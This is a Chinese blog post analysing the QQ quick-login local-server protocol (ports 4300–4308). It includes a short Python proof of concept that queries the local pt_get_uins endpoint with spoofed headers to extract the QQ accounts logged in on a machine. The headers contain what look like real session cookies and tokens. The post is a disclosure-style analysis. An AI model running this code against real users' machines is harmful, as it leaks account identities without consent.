QQ快速登录协议的分析与漏洞利用
协议验证
QQ快速登录协议是本机登录了QQ的情况下可以方便的快速登录各种网页,包括QQ空间等。但是QQ的这个快捷登录功能又是如何实现的呢,毕竟浏览器上的代码没有权限和计算机上的其他应用进行交互。今天在看吾爱破解论坛的时候看到这样一篇帖子激起了我的兴趣。帖子链接:https://www.52pojie.cn/thread-591949-1-1.html
按照帖子的说法,QQ的快捷登录是通过在本地建立一个服务器,然后使浏览器访问本地服务器进行实现的。
帖子对QQ的快速登录协议做了一个很详尽的分析,但是帖子是2017年发表的,现如今是否可用值得验证。下为验证过程:
windows平台,使用命令:
netstat -anto
部分数据:TCP 127.0.0.1:4300 0.0.0.0:0 LISTENING 15100 InHostTCP 127.0.0.1:4301 0.0.0.0:0 LISTENING 15100 InHost
可以看到,当启动了tim或qq后,在4300-4308端口中确实有被占用。
使用命令:
tasklist|findstr "15100
TIM.exe 15100 Console 1 184,820 K
可以看到,现在快捷登录的实现方法依然没有发生改变。
协议利用
利用python中提供的urllib2库,对漏洞进行利用,代码简单只有几行。(此处只提供部分利用方式,不提供更多的利用方式,以防部分网站也利用该协议)
port=['4300','4301','4302','4303','4304','4305','4306','4307','4308']#建立端口列表,用于遍历访问
headers={'Accept':'*/*','Accept-Encoding':'gzip, deflate, br','Accept-Language':'zh-CN,zh;q=0.9','Connection':'keep-alive','Cookie':'RK=0I2uxizPSc; LW_sid=q1f4I9v7k5D7R6O5e4S9p7P8V1; LW_uid=q1Z419f7X5k7n6o5A449A708K2; pgv_pvi=5160215552; tvfe_boss_uuid=d2e9e2992c2f6b14; eas_sid=61Z57067j5p3m9G2x7s9S3d2J6; pac_uid=1_123456789; ptcz=18cfc32c59a21faa22f4c97613a01e184bd5ed3838c42b8d0ac4c41b76873fe9; o_cookie=123456789; pgv_pvid=9730655232; pt2gguin=o0123456789; _qpsvr_localtk=1527494364831; pgv_si=s3689689088; pgv_info=ssid=s250026112; confirmuin=0; ptdrvs=gzHJNsKwyLge2eJpGUpPEsyTJs02UlEErMI1rTCOTl8_; ptvfsession=99a88037b2b433ab61922b20b970bb64c5ea90bc19cb04c8cbe0ef5fbbbb91efef5eefbb321ef3775d04b1301e840b1fce347b7eea0d121a; ptisp=ctc;ETK=; skey=@k8jlvoMlF; ptnick_123456789=e5ad99e98791e58589; _qz_referrer=i.qq.com; pt_login_sig=rJ2-e-RdO-U1BKb64PgKp1WbCqOtwdxctdpenMQXMnGLxG2ZrAUisGboQlV5rlOf; pt_clientip=ca667d47e5b1f515; pt_serverip=86930abf06592ed7; pt_local_token=-1909176059; uikey=b01f2c4333cd59b37cfcca5f8dd2e20f50d17ba13cac145b6ae7d324d3db476a; pt_guid_sig=cf3d82b3651d1715cf4d1fab6d4a32d404e1aea65c3081f6d8ef2fe8e4e4b820; pt_recent_uins=c4ef4c627886a903aec329578da7cdfad8b1ed0642acf27a117548094cbee3f74d00864bf00874333301d1afb3e56d1221590d2a92c5b064; qrsig=qLA88IWo1bVkCs9O-mKn1Dr7sMUXkbnIUxXPOY70n8i5VmsZ0tZsHl9NqXkrj5zF','Host':'localhost.ptlogin2.qq.com:4301','Referer':'https://xui.ptlogin2.qq.com/cgi-bin/xlogin?proxy_url=https%3A//qzs.qq.com/qzone/v6/portal/proxy.html&daid=5&&hide_title_bar=1&low_login=0&qlogin_auto_login=1&no_verifyimg=1&link_target=blank&appid=549000912&style=22&target=self&s_url=https%3A%2F%2Fqzs.qzone.qq.com%2Fqzone%2Fv5%2Floginsucc.html%3Fpara%3Dizone&pt_qr_app=%E6%89%8B%E6%9C%BAQQ%E7%A9%BA%E9%97%B4&pt_qr_link=http%3A//z.qzone.com/download.html&self_regurl=https%3A//qzs.qq.com/qzone/v6/reg/index.html&pt_qr_help_link=http%3A//z.qzone.com/download.html&pt_no_auth=0','User-Agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.181 Safari/537.36'}#构造一个用于发起链接的伪装headers,用于发起链接
req=urllib2.Request(url='https://localhost.ptlogin2.qq.com:'+port[i]+'/pt_get_uins?callback=ptui_getuins_CB&r=0.39923783252274414&pt_local_tk=-1909176059',headers=headers)
result=urllib2.urlopen(req).read()
#使用urllib2对本地服务器发起访问,请求登录的qq数据
上面的代码执行后,在有QQ登录的情况下,result的返回值为:
var var_sso_uin_list=[{"account":"qq账号","client_type":77313,"face_index":0,"gender":1,"nickname":"qq昵称","uin":"qq账号","uin_flag":323486274}];ptui_getuins_CB(var_sso_uin_list);
因此此方法可以提取当前电脑上登录的所有qq的基本信息。具体的可以执行的代码,可以在我的github上进行下载,下载链接:https://github.com/guanginuestc/qq_protocol
QQ快速登录协议的分析与漏洞利用相关推荐
- 某app登录协议逆向分析
某app登录协议逆向分析 设备 iphone 5s Mac Os app:神奇的字符串57qm5Y2V 本文主要通过frida-trace.fridaHook.lldb动态调试完成破解相应的登录算法, ...
- JAVA Spring Security对接QQ快速登录(web应用)
阅读此文需要对Security有大概的了解,了解其运行流程 security对接QQ互联jssdk快速登录 前端使用的是vue.js 1.首先在QQ互联申请一个应用,得到appid和设置好回调地址 2 ...
- 360路由器登录协议的分析和模拟实现
本文博客地址:http://blog.csdn.net/qq1084283172/article/details/78878057 一.360路由器登录协议分析的工具配置 1. 路由器型号:360路由 ...
- PHP实现QQ快速登录的方法
这篇文章主要为大家详细介绍了PHP实现QQ快速登录的3种方法,具有一定的参考价值,感兴趣的小伙伴们可以参考一下 前言: PHP实现QQ快速登录,罗列了三种方法 方法一:面向过程,回调地址和首次触发登录 ...
- PHP实现QQ快速登录
前言: PHP实现QQ快速登录,罗列了三种方法 方法一:面向过程,回调地址和首次触发登录写到了一个方法页面[因为有了if做判断], 方法二,三:面向对象 1.先调用登录方法,向 ...
- php qq授权_PHP实现QQ快速登录的方法
前言: PHP实现QQ快速登录,罗列了三种方法 方法一:面向过程,回调地址和首次触发登录写到了一个方法页面[因为有了if做判断], 方法二,三:面向对象 1.先调用登录方法,向腾讯发送请求, 2.腾讯 ...
- 漏洞挖掘、漏洞分析和漏洞利用
漏洞挖掘.漏洞分析和漏洞利用 利用漏洞进行***可以大致分为漏洞挖掘.漏洞分析.漏洞利用三个步骤.这三部分所用的技术有相同之处,比如都需要精通系统底层知识.逆向工程等:同时也有一定的差异. 1 ...
- 蓝牙App系列漏洞原理分析与漏洞利用
蓝牙App系列漏洞原理分析与漏洞利用 作者: heeeeen 本文系转载,目的是学习,如有侵权,请联系删除 转载出处:http://www.ms509.com/ 蓝牙App漏洞系列分析之一CVE-20 ...
- 网站没有备案接入QQ快速登录 QQ互联官网 成功率100%
鳄鱼君申请QQ互联,为网站接入QQ快捷登录也是废了不少麻烦,为了让大家少走弯路,在这里整理下来给需要的站长朋友们. 网站没有备案接入QQ互联,需要填写申请表格,非常的简单,首先确保你的域名是国际域名, ...
- QQ空间登录协议分析:JS篇
QQ空间是用GET方法 访问链接: "http://ptlogin2.qq.com/login?u=" + QQ号 + "&p=" + 加密 (QQ号, ...
最新文章
- 怎样用c语言写超市管理程序,C语言超市收银管理系统实现程序.doc
- linux中mount -o remount /home,mount -o remount, rw / 很有用..
- C++ 的几个for 循环,范围for语句
- 鸿海集团否认郭台铭辞任董事长:只是希望退居二线
- Spring Cloud与微服务学习总结(4)——认证鉴权与API权限控制在微服务架构中的设计与实现(二)
- .net mvc 导出excel表格
- 前端开发中一些常用技巧总结
- html华文行楷的英文,字体英文代码.htm
- 《UniBench A Benchmark for Multi-Model Database Management Systems》阅读笔记
- 关于瑞星杀毒软件无法完全卸载、自动重装的无奈,与相应的解决办法
- Linux怎么把硬盘ex2改为ex4,linux磁盘管理和文件系统创建
- 云存储Storj简要原理
- Linux安装配置jdk11
- 选择 conforming 还是 non-conforming ?
- 北斗由“高大上”转为“接地气” 芯片成国内智能手机标配
- SpringBoot多环境开发
- Only a type can be imported. com.xxx.xxx.XXX resolves to a package 解决方法
- Redis缓存击穿,穿透,雪崩等问题
- php狼人杀,《狼人杀专业术语》 一秒变成狼圈人!
- c语言提供6种关系运算符,C语言提供了的6种关系运算符,它们分别是_____、_____、_____、_____、_____、和_____...